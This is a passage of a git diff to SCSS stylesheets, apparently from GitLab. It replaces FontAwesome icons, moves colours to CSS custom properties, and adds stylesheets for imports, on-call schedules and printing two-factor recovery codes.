@@ -432,11 +435,11 @@
&::before {
margin-right: 4px;
- font: normal normal normal 14px/1 FontAwesome;
+ font-style: normal;
font-size: inherit;
text-rendering: auto;
-webkit-font-smoothing: antialiased;
- content: '\f0c6';
+ content: '📎';
}
&.no-attachment-icon {
@@ -573,10 +576,6 @@ body {
font-size: 1.25em;
font-weight: $gl-font-weight-bold;
- &:last-child {
- margin-bottom: 0;
- }
-
&.with-button {
line-height: 34px;
}
diff --git a/app/assets/stylesheets/framework/variables.scss b/app/assets/stylesheets/framework/variables.scss
index f0b1e859139..808813599c5 100644
--- a/app/assets/stylesheets/framework/variables.scss
+++ b/app/assets/stylesheets/framework/variables.scss
@@ -468,7 +468,6 @@ $gl-line-height-20: 20px;
$gl-line-height-24: 24px;
$gl-line-height-14: 14px;
-$issue-box-upcoming-bg: #8f8f8f;
$pages-group-name-color: #4c4e54;
/*
diff --git a/app/assets/stylesheets/lazy_bundles/select2_overrides.scss b/app/assets/stylesheets/lazy_bundles/select2_overrides.scss
index 6c51c4b0ec3..b148cc8f0e7 100644
--- a/app/assets/stylesheets/lazy_bundles/select2_overrides.scss
+++ b/app/assets/stylesheets/lazy_bundles/select2_overrides.scss
@@ -22,32 +22,14 @@
border-radius: $gl-border-radius-base;
.select2-arrow {
- background-image: none;
- background-color: transparent;
- border: 0;
padding-top: 12px;
padding-right: 20px;
- font-size: 10px;
+ /* stylelint-disable-next-line function-url-quotes */
+ background: url(asset_path('chevron-down.png')) no-repeat 2px 8px;
b {
display: none;
}
-
- &::after {
- content: '\f078';
- position: absolute;
- z-index: 1;
- text-align: center;
- pointer-events: none;
- box-sizing: border-box;
- color: $gray-darkest;
- display: inline-block;
- font: normal normal normal 14px/1 FontAwesome;
- font-size: inherit;
- text-rendering: auto;
- -webkit-font-smoothing: antialiased;
- -moz-osx-font-smoothing: grayscale;
- }
}
.select2-chosen {
diff --git a/app/assets/stylesheets/page_bundles/_pipeline_mixins.scss b/app/assets/stylesheets/page_bundles/_pipeline_mixins.scss
index 499394ad960..cc876c9a635 100644
--- a/app/assets/stylesheets/page_bundles/_pipeline_mixins.scss
+++ b/app/assets/stylesheets/page_bundles/_pipeline_mixins.scss
@@ -4,7 +4,7 @@
position: absolute;
top: 48%;
left: -$length;
- border-top: 2px solid $border-color;
+ border-top: 2px solid var(--border-color, $border-color);
width: $length;
height: 1px;
}
@@ -14,14 +14,14 @@
display: inline-block;
padding: 8px 10px 9px;
width: 100%;
- border: 1px solid $border-color;
+ border: 1px solid var(--border-color, $border-color);
border-radius: $border-radius;
- background-color: $white;
+ background-color: var(--white, $white);
&:hover {
- background-color: $gray-darker;
+ background-color: var(--gray-50, $gray-50);
border: 1px solid $dropdown-toggle-active-border-color;
- color: $gl-text-color;
+ color: var(--gl-text-color, $gl-text-color);
}
}
@@ -66,7 +66,7 @@
@mixin mini-pipeline-item() {
border-radius: 100px;
- background-color: $white;
+ background-color: var(--white, $white);
border-width: 1px;
border-style: solid;
width: $ci-action-icon-size;
@@ -85,22 +85,22 @@
// Dropdown button animation in mini pipeline graph
&.ci-status-icon-success {
- @include mini-pipeline-graph-color($white, $green-100, $green-200, $green-500, $green-600, $green-700);
+ @include mini-pipeline-graph-color(var(--white, $white), $green-100, $green-200, $green-500, $green-600, $green-700);
}
&.ci-status-icon-failed {
- @include mini-pipeline-graph-color($white, $red-100, $red-200, $red-500, $red-600, $red-700);
+ @include mini-pipeline-graph-color(var(--white, $white), $red-100, $red-200, $red-500, $red-600, $red-700);
}
&.ci-status-icon-pending,
&.ci-status-icon-waiting-for-resource,
&.ci-status-icon-success-with-warnings {
- @include mini-pipeline-graph-color($white, $orange-50, $orange-100, $orange-500, $orange-600, $orange-700);
+ @include mini-pipeline-graph-color(var(--white, $white), $orange-50, $orange-100, $orange-500, $orange-600, $orange-700);
}
&.ci-status-icon-preparing,
&.ci-status-icon-running {
- @include mini-pipeline-graph-color($white, $blue-100, $blue-200, $blue-500, $blue-600, $blue-700);
+ @include mini-pipeline-graph-color(var(--white, $white), $blue-100, $blue-200, $blue-500, $blue-600, $blue-700);
}
&.ci-status-icon-canceled,
@@ -108,12 +108,12 @@
&.ci-status-icon-disabled,
&.ci-status-icon-not-found,
&.ci-status-icon-manual {
- @include mini-pipeline-graph-color($white, $gray-500, $gray-700, $gray-900, $gray-950, $black);
+ @include mini-pipeline-graph-color(var(--white, $white), $gray-500, $gray-700, $gray-900, $gray-950, $black);
}
&.ci-status-icon-created,
&.ci-status-icon-skipped {
- @include mini-pipeline-graph-color($white, $gray-100, $gray-200, $gray-300, $gray-400, $gray-500);
+ @include mini-pipeline-graph-color(var(--white, $white), $gray-100, $gray-200, $gray-300, $gray-400, $gray-500);
}
}
@@ -226,7 +226,7 @@
&:focus {
outline: none;
text-decoration: none;
- background-color: $gray-darker;
+ background-color: var(--gray-100, $gray-50);
}
}
}
diff --git a/app/assets/stylesheets/page_bundles/alert_management_details.scss b/app/assets/stylesheets/page_bundles/alert_management_details.scss
index beb80a14c5a..2eaf4517710 100644
--- a/app/assets/stylesheets/page_bundles/alert_management_details.scss
+++ b/app/assets/stylesheets/page_bundles/alert_management_details.scss
@@ -17,22 +17,19 @@
}
}
- .assignee-dropdown-item {
- .dropdown-item {
- @include gl-display-flex;
- @include gl-align-items-center;
-
+ .dropdown-item {
+ &:first-child {
&::before {
- top: 50% !important;
+ @include gl-pt-0;
}
+ }
- &.is-active {
- &:last-child {
- @include gl-border-b-gray-100;
- @include gl-border-b-1;
- @include gl-border-b-solid;
- }
- }
+ &::before {
+ @include gl-pt-8;
+ }
+
+ .gl-new-dropdown-item-text-wrapper {
+ @include gl-py-0;
}
}
diff --git a/app/assets/stylesheets/page_bundles/boards.scss b/app/assets/stylesheets/page_bundles/boards.scss
index ffc15af6329..3d1ae3519a9 100644
--- a/app/assets/stylesheets/page_bundles/boards.scss
+++ b/app/assets/stylesheets/page_bundles/boards.scss
@@ -92,7 +92,6 @@
.board-title-caret {
border-radius: $border-radius-default;
line-height: $gl-spacing-scale-5;
- height: $gl-spacing-scale-5;
&.btn svg {
top: 0;
@@ -173,13 +172,6 @@
}
}
-.board-promotion-state {
- background-color: var(--white, $white);
- flex: 1;
- overflow-y: auto;
- overflow-x: hidden;
-}
-
.board-list-component {
min-height: 0; // firefox fix
}
diff --git a/app/assets/stylesheets/page_bundles/build.scss b/app/assets/stylesheets/page_bundles/build.scss
index 2f0f4a46658..3962c546b51 100644
--- a/app/assets/stylesheets/page_bundles/build.scss
+++ b/app/assets/stylesheets/page_bundles/build.scss
@@ -61,7 +61,7 @@
}
.environment-information {
- border: 1px solid $border-color;
+ border: 1px solid var(--border-color, $border-color);
padding: 8px $gl-padding 12px;
border-radius: $border-radius-default;
@@ -219,9 +219,9 @@
}
.builds-container {
- background-color: $white;
- border-top: 1px solid $border-color;
- border-bottom: 1px solid $border-color;
+ background-color: var(--white, $white);
+ border-top: 1px solid var(--border-color, $border-color);
+ border-bottom: 1px solid var(--border-color, $border-color);
max-height: 300px;
width: 289px;
overflow: auto;
@@ -237,7 +237,7 @@
width: 270px;
&:hover {
- color: $gl-text-color;
+ color: var(--gl-text-color, $gl-text-color);
}
}
@@ -256,13 +256,13 @@
}
&:hover {
- background-color: $gray-darker;
+ background-color: var(--gray-50, $gray-50);
}
}
}
.link-commit {
- color: $blue-600;
+ color: var(--blue-600, $blue-600);
}
}
diff --git a/app/assets/stylesheets/page_bundles/ci_status.scss b/app/assets/stylesheets/page_bundles/ci_status.scss
index 8522a0a8fe4..232d363b7f1 100644
--- a/app/assets/stylesheets/page_bundles/ci_status.scss
+++ b/app/assets/stylesheets/page_bundles/ci_status.scss
@@ -2,7 +2,7 @@
.ci-status {
padding: 2px 7px 4px;
- border: 1px solid $gray-darker;
+ border: 1px solid var(--border-color, $border-color);
white-space: nowrap;
border-radius: 4px;
@@ -18,7 +18,11 @@
}
&.ci-failed {
- @include status-color($red-100, $red-500, $red-600);
+ @include status-color(
+ var(--red-100, $red-100),
+ var(--red-500, $red-500),
+ var(--red-600, $red-600)
+ );
}
&.ci-success {
@@ -26,11 +30,12 @@
}
&.ci-canceled,
+ &.ci-skipped,
&.ci-disabled,
&.ci-scheduled,
&.ci-manual {
- color: $gl-text-color;
- border-color: $gl-text-color;
+ color: var(--gl-text-color, $gl-text-color);
+ border-color: currentColor;
&:not(span):hover {
background-color: rgba($gl-text-color, 0.07);
@@ -38,25 +43,37 @@
}
&.ci-preparing {
- @include status-color($gray-100, $gray-300, $gray-400);
+ @include status-color(
+ var(--gray-100, $gray-100),
+ var(--gray-300, $gray-300),
+ var(--gray-400, $gray-400)
+ );
}
&.ci-pending,
&.ci-waiting-for-resource,
&.ci-failed-with-warnings,
&.ci-success-with-warnings {
- @include status-color($orange-50, $orange-500, $orange-700);
+ @include status-color(
+ var(--orange-50, $orange-50),
+ var(--orange-500, $orange-500),
+ var(--orange-700, $orange-700)
+ );
}
&.ci-info,
&.ci-running {
- @include status-color($blue-100, $blue-500, $blue-600);
+ @include status-color(
+ var(--blue-100, $blue-100),
+ var(--blue-500, $blue-500),
+ var(--blue-600, $blue-600)
+ );
}
&.ci-created,
&.ci-skipped {
- color: $gl-text-color-secondary;
- border-color: $gl-text-color-secondary;
+ color: var(--gray-500, $gray-500);
+ border-color: currentColor;
&:not(span):hover {
background-color: rgba($gl-text-color-secondary, 0.07);
diff --git a/app/assets/stylesheets/page_bundles/cycle_analytics.scss b/app/assets/stylesheets/page_bundles/cycle_analytics.scss
index 3a5e2e4159d..4a48333cd27 100644
--- a/app/assets/stylesheets/page_bundles/cycle_analytics.scss
+++ b/app/assets/stylesheets/page_bundles/cycle_analytics.scss
@@ -314,11 +314,6 @@
vertical-align: top;
font-weight: $gl-font-weight-normal;
}
-
- .fa {
- color: var(--gray-500, $gray-500);
- font-size: $code-font-size;
- }
}
}
diff --git a/app/assets/stylesheets/page_bundles/import.scss b/app/assets/stylesheets/page_bundles/import.scss
new file mode 100644
index 00000000000..5f43d5df7e3
--- /dev/null
+++ b/app/assets/stylesheets/page_bundles/import.scss
@@ -0,0 +1,81 @@
+@import 'mixins_and_variables_and_functions';
+
+.import-jobs-to-col {
+ width: 39%;
+}
+
+.import-jobs-status-col {
+ width: 15%;
+}
+
+.import-jobs-cta-col {
+ width: 1%;
+}
+
+.import-project-name-input {
+ border-radius: 0 $border-radius-default $border-radius-default 0;
+ position: relative;
+ left: -1px;
+ max-width: 300px;
+}
+
+.import-slash-divider {
+ background-color: $gray-lightest;
+ border: 1px solid $border-color;
+}
+
+.import-row {
+ height: 55px;
+}
+
+.import-table {
+ .import-jobs-from-col,
+ .import-jobs-to-col,
+ .import-jobs-status-col,
+ .import-jobs-cta-col {
+ border-bottom-width: 1px;
+ padding-left: $gl-padding;
+ }
+}
+
+.import-projects-loading-icon {
+ margin-top: $gl-padding-32;
+}
+
+.import-entities-target-select {
+ &.disabled {
+ .import-entities-target-select-separator,
+ .select2-container.select2-container-disabled .select2-choice {
+ color: var(--gray-400, $gray-400);
+ border-color: var(--gray-100, $gray-100);
+ background-color: var(--gray-10, $gray-10);
+ }
+
+ .select2-container.select2-container-disabled .select2-choice .select2-arrow {
+ background-color: var(--gray-10, $gray-10);
+ }
+ }
+
+ .import-entities-target-select-separator {
+ border-color: var(--gray-200, $gray-200);
+ background-color: var(--gray-10, $gray-10);
+ }
+
+ .select2-container {
+ > .select2-choice {
+ .select2-arrow {
+ background-color: var(--white, $white);
+ }
+
+ border-color: var(--gray-200, $gray-200);
+ color: var(--gray-900, $gray-900) !important;
+ background-color: var(--white, $white) !important;
+ border-top-right-radius: 0;
+ border-bottom-right-radius: 0;
+ }
+ }
+
+ .gl-form-input {
+ box-shadow: inset 0 0 0 1px var(--gray-200, $gray-200);
+ }
+}
diff --git a/app/assets/stylesheets/page_bundles/merge_conflicts.scss b/app/assets/stylesheets/page_bundles/merge_conflicts.scss
index b0655408edf..a26affb10a9 100644
--- a/app/assets/stylesheets/page_bundles/merge_conflicts.scss
+++ b/app/assets/stylesheets/page_bundles/merge_conflicts.scss
@@ -255,10 +255,6 @@ $colors: (
}
}
- .btn-success .fa-spinner {
- color: var(--white, $white);
- }
-
.editor-wrap {
&.is-loading {
.editor {
diff --git a/app/assets/stylesheets/page_bundles/oncall_schedules.scss b/app/assets/stylesheets/page_bundles/oncall_schedules.scss
new file mode 100644
index 00000000000..3c95ecc9bf0
--- /dev/null
+++ b/app/assets/stylesheets/page_bundles/oncall_schedules.scss
@@ -0,0 +1,189 @@
+@import 'mixins_and_variables_and_functions';
+
+@mixin inset-border-1-red-500($important: false) {
+ box-shadow: inset 0 0 0 $gl-border-size-1 $red-500 if-important($important);
+}
+
+.timezone-dropdown {
+ .dropdown-menu {
+ @include gl-w-full;
+ }
+
+ .gl-new-dropdown-item-text-primary {
+ @include gl-overflow-hidden;
+ @include gl-text-overflow-ellipsis;
+ }
+}
+
+.modal-footer {
+ @include gl-bg-gray-10;
+}
+
+.invalid-dropdown {
+ .gl-dropdown-toggle {
+ @include inset-border-1-red-500;
+
+ &:hover {
+ @include inset-border-1-red-500(true);
+ }
+ }
+}
+
+//// Copied from roadmaps.scss - adapted for on-call schedules
+$header-item-height: 72px;
+$item-height: 40px;
+$details-cell-width: 180px;
+$timeline-cell-height: 32px;
+$timeline-cell-width: 180px;
+$border-style: 1px solid var(--gray-100, $gray-100);
+$gradient-dark-gray: rgba(0, 0, 0, 0.15);
+$gradient-gray: rgba(255, 255, 255, 0.001);
+$scroll-top-gradient: linear-gradient(to bottom, $gradient-dark-gray 0%, $gradient-gray 100%);
+$scroll-bottom-gradient: linear-gradient(to bottom, $gradient-gray 0%, $gradient-dark-gray 100%);
+$column-right-gradient: linear-gradient(to right, $gradient-dark-gray 0%, $gradient-gray 100%);
+
+.schedule-shell {
+ @include gl-relative;
+ @include gl-h-full;
+ @include gl-w-full;
+ @include gl-overflow-x-auto;
+ @include gl-border-gray-100;
+ @include gl-border-1;
+ @include gl-border-solid;
+ @include gl-rounded-base;
+}
+
+.timeline-section {
+ @include gl-sticky;
+ @include gl-top-0;
+ z-index: 20;
+
+ .timeline-header-blank,
+ .timeline-header-item {
+ @include float-left;
+ height: $header-item-height;
+ border-bottom: $border-style;
+ background-color: var(--white, $white);
+ }
+
+ .timeline-header-blank {
+ @include gl-sticky;
+ @include gl-top-0;
+ @include gl-left-0;
+ width: $details-cell-width;
+ z-index: 2;
+ }
+
+ .timeline-header-item {
+ // container size minus left panel width divided by 2 week timeframes
+ width: calc((100% - #{$details-cell-width}) / 2);
+
+ &:last-of-type .item-label {
+ @include gl-border-r-0;
+ }
+
+ .item-label,
+ .item-sublabel .sublabel-value {
+ color: var(--gray-400, $gray-400);
+ @include gl-font-weight-normal;
+
+ &.label-dark {
+ @include gl-text-gray-900;
+ }
+
+ &.label-bold {
+ @include gl-font-weight-bold;
+ }
+ }
+
+ .item-label {
+ @include gl-py-4;
+ @include gl-pl-4;
+ border-right: $border-style;
+ border-bottom: $border-style;
+ }
+
+ .item-sublabel {
+ @include gl-relative;
+ @include gl-display-flex;
+
+ .sublabel-value {
+ @include gl-flex-grow-1;
+ @include gl-flex-basis-0;
+
+ text-align: center;
+ @include gl-font-base;
+ padding: 2px 0;
+ }
+ }
+
+ .current-day-indicator-header {
+ @include gl-absolute;
+ @include gl-bottom-0;
+ height: $grid-size;
+ width: $grid-size;
+ background-color: var(--red-500, $red-500);
+ @include gl-rounded-full;
+ transform: translate(-50%, 50%);
+ }
+ }
+}
+
+.timeline-section .timeline-header-blank,
+.list-section .details-cell {
+ &::after {
+ @include gl-h-full;
+ @include gl-content-empty;
+ @include gl-absolute;
+ @include gl-top-0;
+ right: -$grid-size;
+ width: $grid-size;
+ @include gl-pointer-events-none;
+ background: $column-right-gradient;
+ }
+}
+
+.details-cell,
+.timeline-cell {
+ @include float-left;
+ height: $item-height;
+}
+
+.details-cell {
+ @include gl-sticky;
+ @include gl-left-0;
+ width: $details-cell-width;
+ @include gl-font-base;
+ background-color: var(--white, $white);
+ z-index: 10;
+}
+
+.timeline-cell {
+ @include gl-relative;
+ // width: $timeline-cell-width;
+ // container size minus left panel width divided by 2 week timeframes
+ width: calc((100% - #{$details-cell-width}) / 2);
+ @include gl-bg-transparent;
+ border-right: $border-style;
+
+ &:last-child {
+ @include gl-border-r-0;
+ }
+
+ .current-day-indicator {
+ @include gl-absolute;
+ top: -1px;
+ width: $gl-spacing-scale-1;
+ height: calc(100% + 1px);
+ background-color: var(--red-500, $red-500);
+ @include gl-pointer-events-none;
+ transform: translateX(-50%);
+ }
+}
+
+.gl-token {
+ .gl-avatar-labeled-label {
+ @include gl-text-white;
+ @include gl-font-weight-normal;
+ }
+}
diff --git a/app/assets/stylesheets/page_bundles/pipeline.scss b/app/assets/stylesheets/page_bundles/pipeline.scss
index 1de66aa73da..d9ab52774bd 100644
--- a/app/assets/stylesheets/page_bundles/pipeline.scss
+++ b/app/assets/stylesheets/page_bundles/pipeline.scss
@@ -33,7 +33,7 @@
}
.stage {
- color: $gl-text-color-secondary;
+ color: var(--gray-500, $gray-500);
font-weight: $gl-font-weight-normal;
vertical-align: middle;
}
@@ -62,7 +62,7 @@
a {
font-weight: $gl-font-weight-bold;
- color: $gl-text-color;
+ color: var(--gl-text-color, $gl-text-color);
text-decoration: none;
&:focus,
@@ -124,11 +124,46 @@
display: flex;
width: 100%;
min-height: $dropdown-max-height-lg;
- background-color: $gray-light;
+ background-color: var(--gray-50, $gray-50);
padding: $gl-padding 0;
overflow: auto;
}
+// These are single-value classes to use with utility-class style CSS
+// but to still access this variable. Do not add other styles.
+.gl-pipeline-min-h {
+ min-height: $dropdown-max-height-lg;
+}
+
+.gl-pipeline-job-width {
+ width: 186px;
+}
+
+.gl-linked-pipeline-padding {
+ padding-right: 120px;
+}
+
+.gl-build-content {
+ @include build-content();
+}
+
+.gl-ci-action-icon-container {
+ position: absolute;
+ right: 5px;
+ top: 50% !important;
+ transform: translateY(-50%);
+
+ // Action Icons in big pipeline-graph nodes
+ &.ci-action-icon-wrapper {
+ height: 30px;
+ width: 30px;
+ border-radius: 100%;
+ display: block;
+ padding: 0;
+ line-height: 0;
+ }
+}
+
// Pipeline graph, used at
// app/assets/javascripts/pipelines/components/graph/graph_component.vue
.pipeline-graph {
@@ -142,7 +177,7 @@
a {
text-decoration: none;
- color: $gl-text-color;
+ color: var(--gl-text-color, $gl-text-color);
}
svg {
@@ -214,18 +249,18 @@
height: 25px;
position: absolute;
top: -31px;
- border-top: 2px solid $border-color;
+ border-top: 2px solid var(--border-color, $border-color);
}
&::after {
left: -44px;
- border-right: 2px solid $border-color;
+ border-right: 2px solid var(--border-color, $border-color);
border-radius: 0 20px;
}
&::before {
right: -44px;
- border-left: 2px solid $border-color;
+ border-left: 2px solid var(--border-color, $border-color);
border-radius: 20px 0 0;
}
}
@@ -281,7 +316,7 @@
a.build-content:hover,
button.build-content:hover {
- background-color: $gray-darker;
+ background-color: var(--gray-100, $gray-100);
border: 1px solid $dropdown-toggle-active-border-color;
}
@@ -292,7 +327,7 @@
position: absolute;
top: 48%;
right: -48px;
- border-top: 2px solid $border-color;
+ border-top: 2px solid var(--border-color, $border-color);
width: 48px;
height: 1px;
}
@@ -305,7 +340,7 @@
content: '';
top: -49px;
position: absolute;
- border-bottom: 2px solid $border-color;
+ border-bottom: 2px solid var(--border-color, $border-color);
width: 25px;
height: 69px;
}
@@ -313,14 +348,14 @@
// Right connecting curves
&::after {
right: -25px;
- border-right: 2px solid $border-color;
+ border-right: 2px solid var(--border-color, $border-color);
border-radius: 0 0 20px;
}
// Left connecting curves
&::before {
left: -25px;
- border-left: 2px solid $border-color;
+ border-left: 2px solid var(--border-color, $border-color);
border-radius: 0 0 0 20px;
}
}
@@ -355,7 +390,7 @@
line-height: 0;
svg {
- fill: $gl-text-color-secondary;
+ fill: var(--gray-500, $gray-500);
}
.spinner {
@@ -453,13 +488,13 @@
left: -6px;
margin-top: 3px;
border-width: 7px 5px 7px 0;
- border-right-color: $border-color;
+ border-right-color: var(--border-color, $border-color);
}
&::after {
left: -5px;
border-width: 10px 7px 10px 0;
- border-right-color: $white;
+ border-right-color: var(--white, $white);
}
}
@@ -484,5 +519,5 @@
}
.progress-bar.bg-primary {
- background-color: $blue-500 !important;
+ background-color: var(--blue-500, $blue-500) !important;
}
diff --git a/app/assets/stylesheets/page_bundles/pipelines.scss b/app/assets/stylesheets/page_bundles/pipelines.scss
index e0e56893afc..dbde7933a8b 100644
--- a/app/assets/stylesheets/page_bundles/pipelines.scss
+++ b/app/assets/stylesheets/page_bundles/pipelines.scss
@@ -22,7 +22,7 @@
min-width: 170px; //Guarantees buttons don't break in several lines.
.btn-default {
- color: $gl-text-color-secondary;
+ color: var(--gray-500, $gray-500);
}
.btn.btn-retry:hover,
@@ -32,7 +32,7 @@
}
svg path {
- fill: $gl-text-color-secondary;
+ fill: var(--gray-500, $gray-500);
}
.dropdown-menu {
@@ -42,12 +42,7 @@
.dropdown-toggle,
.dropdown-menu {
- color: $gl-text-color-secondary;
-
- .fa {
- color: $gl-text-color-secondary;
- font-size: 14px;
- }
+ color: var(--gray-500, $gray-500);
}
.btn-group.open .btn-default {
diff --git a/app/assets/stylesheets/page_bundles/profile_two_factor_auth.scss b/app/assets/stylesheets/page_bundles/profile_two_factor_auth.scss
new file mode 100644
index 00000000000..3b4b1fdcded
--- /dev/null
+++ b/app/assets/stylesheets/page_bundles/profile_two_factor_auth.scss
@@ -0,0 +1,11 @@
+@media print {
+ .codes-to-print {
+ background-color: var(--white);
+ height: 100%;
+ width: 100%;
+ position: fixed;
+ top: 0;
+ left: 0;
+ margin: 0;
+ }
+}
diff --git a/app/assets/stylesheets/pages/clusters.scss b/app/assets/stylesheets/pages/clusters.scss
index 4e27f438e36..f7b8a4c5b84 100644
--- a/app/assets/stylesheets/pages/clusters.scss
+++ b/app/assets/stylesheets/pages/clusters.scss
@@ -58,22 +58,6 @@
}
}
-.cluster-application-banner {
- height: 45px;
- display: flex;
- align-items: center;
- justify-content: space-between;
-}
-
-.cluster-application-banner-close {
- align-self: flex-start;
- font-weight: 500;
- font-size: 20px;
- color: $orange-500;
- opacity: 1;
- margin: $gl-padding-8 14px 0 0;
-}
-
.cluster-application-description {
flex: 1;
}
diff --git a/app/assets/stylesheets/pages/commits.scss b/app/assets/stylesheets/pages/commits.scss
index 17474b95e50..9b17da80023 100644
--- a/app/assets/stylesheets/pages/commits.scss
+++ b/app/assets/stylesheets/pages/commits.scss
@@ -174,12 +174,6 @@
}
.commit-actions {
- @include media-breakpoint-up(sm) {
- .fa-spinner {
- font-size: 12px;
- }
- }
-
.ci-status-icon svg {
vertical-align: text-bottom;
}
diff --git a/app/assets/stylesheets/pages/detail_page.scss b/app/assets/stylesheets/pages/detail_page.scss
index f357d508d5d..f237d57aa88 100644
--- a/app/assets/stylesheets/pages/detail_page.scss
+++ b/app/assets/stylesheets/pages/detail_page.scss
@@ -41,12 +41,6 @@
@include media-breakpoint-down(xs) {
width: 100%;
margin-top: 10px;
-
- > .issue-btn-group {
- > .btn {
- width: 100%;
- }
- }
}
}
diff --git a/app/assets/stylesheets/pages/editor.scss b/app/assets/stylesheets/pages/editor.scss
index 5c845c37e90..e0e10d63f8e 100644
--- a/app/assets/stylesheets/pages/editor.scss
+++ b/app/assets/stylesheets/pages/editor.scss
@@ -74,10 +74,6 @@
justify-content: flex-end;
}
- .select2 {
- float: right;
- }
-
.encoding-selector,
.soft-wrap-toggle {
display: inline-block;
@@ -220,10 +216,6 @@
}
}
-.editor-title-row {
- margin-bottom: 20px;
-}
-
.popover.suggest-gitlab-ci-yml {
z-index: $header-zindex - 1;
}
diff --git a/app/assets/stylesheets/pages/groups.scss b/app/assets/stylesheets/pages/groups.scss
index e73b6b18afd..aeda91c1714 100644
--- a/app/assets/stylesheets/pages/groups.scss
+++ b/app/assets/stylesheets/pages/groups.scss
@@ -80,12 +80,6 @@
.btn-success {
width: 100%;
}
-
- .dropdown .dropdown-toggle .fa-chevron-down {
- position: absolute;
- top: 11px;
- right: 8px;
- }
}
}
@@ -299,12 +293,6 @@ table.pipeline-project-metrics tr td {
padding: $gl-padding;
}
-.mattermost-icon svg {
- width: 16px;
- height: 16px;
- vertical-align: text-bottom;
-}
-
.mattermost-team-name {
color: $gl-text-color-secondary;
}
diff --git a/app/assets/stylesheets/pages/import.scss b/app/assets/stylesheets/pages/import.scss
deleted file mode 100644
index 74f80a11471..00000000000
--- a/app/assets/stylesheets/pages/import.scss
+++ /dev/null
@@ -1,61 +0,0 @@
-.import-jobs-to-col {
- width: 39%;
-}
-
-.import-jobs-status-col {
- width: 15%;
-}
-
-.import-jobs-cta-col {
- width: 1%;
-}
-
-.import-project-name-input {
- border-radius: 0 $border-radius-default $border-radius-default 0;
- position: relative;
- left: -1px;
- max-width: 300px;
-}
-
-.import-namespace-select {
- > .select2-choice {
- border-radius: $border-radius-default 0 0 $border-radius-default;
- position: relative;
- left: 1px;
- }
-}
-
-.import-slash-divider {
- background-color: $gray-lightest;
- border: 1px solid $border-color;
-}
-
-.import-row {
- height: 55px;
-}
-
-.import-table {
- .import-jobs-from-col,
- .import-jobs-to-col,
- .import-jobs-status-col,
- .import-jobs-cta-col {
- border-bottom-width: 1px;
- padding-left: $gl-padding;
- }
-}
-
-.import-projects-loading-icon {
- margin-top: $gl-padding-32;
-}
-
-.btn-import {
- .loading-icon {
- display: none;
- }
-
- &.is-loading {
- .loading-icon {
- display: inline-block;
- }
- }
-}
diff --git a/app/assets/stylesheets/pages/issuable.scss b/app/assets/stylesheets/pages/issuable.scss
index cc4827f75d4..e5528c25e82 100644
--- a/app/assets/stylesheets/pages/issuable.scss
+++ b/app/assets/stylesheets/pages/issuable.scss
@@ -10,6 +10,7 @@
}
.limit-container-width {
+ .flash-container,
.detail-page-header,
.page-content-header,
.commit-box,
@@ -112,7 +113,7 @@
position: absolute;
bottom: 0;
right: 0;
- text-shadow: -1px -1px 2px $white, 1px -1px 2px $white, -1px 1px 2px $white, 1px 1px 2px $white;
+ filter: drop-shadow(0 0 0.5px $white) drop-shadow(0 0 1px $white) drop-shadow(0 0 2px $white);
}
}
@@ -199,10 +200,6 @@
border: 0;
}
- .select2-container span {
- margin-top: 0;
- }
-
&.assignee {
.author-link {
display: block;
@@ -395,6 +392,13 @@
text-align: center;
}
+ .merge-icon {
+ height: 12px;
+ width: 12px;
+ bottom: -5px;
+ right: 4px;
+ }
+
.sidebar-collapsed-icon {
display: flex;
flex-direction: column;
@@ -405,7 +409,7 @@
text-align: center;
color: $gl-text-color-secondary;
- svg {
+ > svg {
fill: $gl-text-color-secondary;
}
@@ -413,7 +417,7 @@
&:hover .todo-undone {
color: $gl-text-color;
- svg {
+ > svg {
fill: $gl-text-color;
}
}
@@ -485,10 +489,6 @@
display: none;
}
- .merge-icon {
- font-size: 10px;
- }
-
.multiple-users {
position: relative;
height: 24px;
@@ -697,10 +697,6 @@
.issuable-list {
li {
- .issue-box {
- display: flex;
- }
-
.issuable-info-container {
flex: 1;
display: flex;
@@ -894,29 +890,6 @@
}
}
-.issuable-close-button,
-.issuable-close-toggle {
- @include transition(border-color, color);
-}
-
-.issuable-close-dropdown {
- .dropdown-menu {
- min-width: 270px;
- left: auto;
- right: 0;
- }
-
- .description {
- .text {
- margin: 0;
- }
- }
-
- .dropdown-toggle > .icon {
- margin: 0 3px;
- }
-}
-
/*
* Following overrides are done to prevent
* legacy dropdown styles from influencing
diff --git a/app/assets/stylesheets/pages/issues.scss b/app/assets/stylesheets/pages/issues.scss
index 08faebc8ec0..1caf62067a6 100644
--- a/app/assets/stylesheets/pages/issues.scss
+++ b/app/assets/stylesheets/pages/issues.scss
@@ -92,6 +92,11 @@ ul.related-merge-requests > li {
}
}
+.issues-footer {
+ padding-top: $gl-padding;
+ padding-bottom: 37px;
+}
+
.issues-nav-controls,
.new-branch-col {
font-size: 0;
@@ -196,14 +201,6 @@ ul.related-merge-requests > li {
}
}
}
-
- .create-merge-request-dropdown-toggle {
- .fa-caret-down {
- pointer-events: none;
- color: inherit;
- margin-left: 0;
- }
- }
}
.discussion-reply-holder {
diff --git a/app/assets/stylesheets/pages/members.scss b/app/assets/stylesheets/pages/members.scss
index a8b489f1273..0ccde57746a 100644
--- a/app/assets/stylesheets/pages/members.scss
+++ b/app/assets/stylesheets/pages/members.scss
@@ -30,20 +30,6 @@
margin-bottom: 0;
}
- .member-controls {
- .fa {
- line-height: inherit;
- }
- }
-
- .btn-remove {
- width: 100%;
-
- @include media-breakpoint-up(sm) {
- width: auto;
- }
- }
-
&.existing-title {
@include media-breakpoint-up(sm) {
float: left;
diff --git a/app/assets/stylesheets/pages/merge_requests.scss b/app/assets/stylesheets/pages/merge_requests.scss
index a0ac55e4c6c..efca82def92 100644
--- a/app/assets/stylesheets/pages/merge_requests.scss
+++ b/app/assets/stylesheets/pages/merge_requests.scss
@@ -53,6 +53,7 @@ $mr-widget-min-height: 69px;
position: relative;
border: 1px solid $border-color;
border-radius: $border-radius-default;
+ background: var(--white, $white);
.gl-skeleton-loader {
display: block;
@@ -61,7 +62,7 @@ $mr-widget-min-height: 69px;
.mr-widget-extension {
border-top: 1px solid $border-color;
- background-color: $gray-light;
+ background-color: $gray-50;
&.clickable:hover {
background-color: $gray-100;
@@ -87,6 +88,7 @@ $mr-widget-min-height: 69px;
border: 1px solid $border-color;
border-radius: $border-radius-default;
border-top: 0;
+ background: var(--white, $white);
}
.mr-widget-body,
@@ -161,12 +163,6 @@ $mr-widget-min-height: 69px;
.btn {
font-size: $gl-font-size;
-
- &.dropdown-toggle {
- .fa {
- color: inherit;
- }
- }
}
.accept-merge-holder {
